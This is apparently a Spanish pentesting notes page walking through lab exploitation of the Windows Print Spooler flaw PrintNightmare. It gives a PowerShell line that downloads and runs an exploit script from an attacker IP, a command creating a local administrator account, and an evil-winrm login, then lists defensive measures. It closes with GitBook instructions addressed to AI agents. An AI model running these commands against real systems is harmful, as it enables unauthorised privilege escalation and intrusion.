> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/windows-vulnerabilities/vulnerable-services-and-processes/print-spooler-printnightmare.md).

# Spooler de impresión - PrintNightmare

`spoolsv.exe` es el servicio Windows Print Spooler. Cuando un objetivo es vulnerable, la explotación al estilo PrintNightmare puede permitir una escalada de privilegios local o remota, según la versión de Windows, el nivel de parches y la exposición del servicio.

## Detección

Correlaciona un servicio Print Spooler activo o expuesto con la versión exacta de Windows y los parches instalados.

<figure><img src="/files/af39bbcc8bf19d2210f57e7dffa078d1bdad793b" alt="Windows Print Spooler service identified"><figcaption></figcaption></figure>

## Explotación en laboratorio

{% embed url="<https://github.com/calebstewart/CVE-2021-1675>" %}

<figure><img src="/files/d5205a4d0cbf1f72e78c4e2747651627dfe498c9" alt="PrintNightmare exploit repository"><figcaption></figcaption></figure>

Carga el script:

```powershell
IEX(New-Object Net.WebClient).downloadString('http://10.10.14.7/CVE-2021-1675.ps1')
```

Crea un usuario administrador local en el laboratorio:

```powershell
Invoke-Nightmare -DriverName "Xerox" -NewUser "lab-admin" -NewPassword "Use-A-Strong-Temporary-Password!"
```

<figure><img src="/files/0cd0efd4eb855739aa72ffb764e249bdc1957ec1" alt="Invoke-Nightmare creating a local administrator user"><figcaption></figcaption></figure>

<figure><img src="/files/84f63a2dd19986fe99cc6ac1f3196e11b0f91578" alt="New administrative user validation"><figcaption></figcaption></figure>

## Conectar

```bash
evil-winrm -i 10.10.11.106 -u 'lab-admin' -p 'Use-A-Strong-Temporary-Password!'
```

<figure><img src="/files/8e25410304de289341631a4879078d4b2de2c6c0" alt="Evil-WinRM connection with the created administrator account"><figcaption></figcaption></figure>

## Puntos clave

* Confirma la vulnerabilidad mediante la validación de la versión y los parches.
* Deshabilita el Print Spooler donde no sea necesario, especialmente en servidores sensibles.
* Supervisa la creación repentina de cuentas de administrador local y las operaciones sospechosas con controladores de impresora.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/windows-vulnerabilities/vulnerable-services-and-processes/print-spooler-printnightmare.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
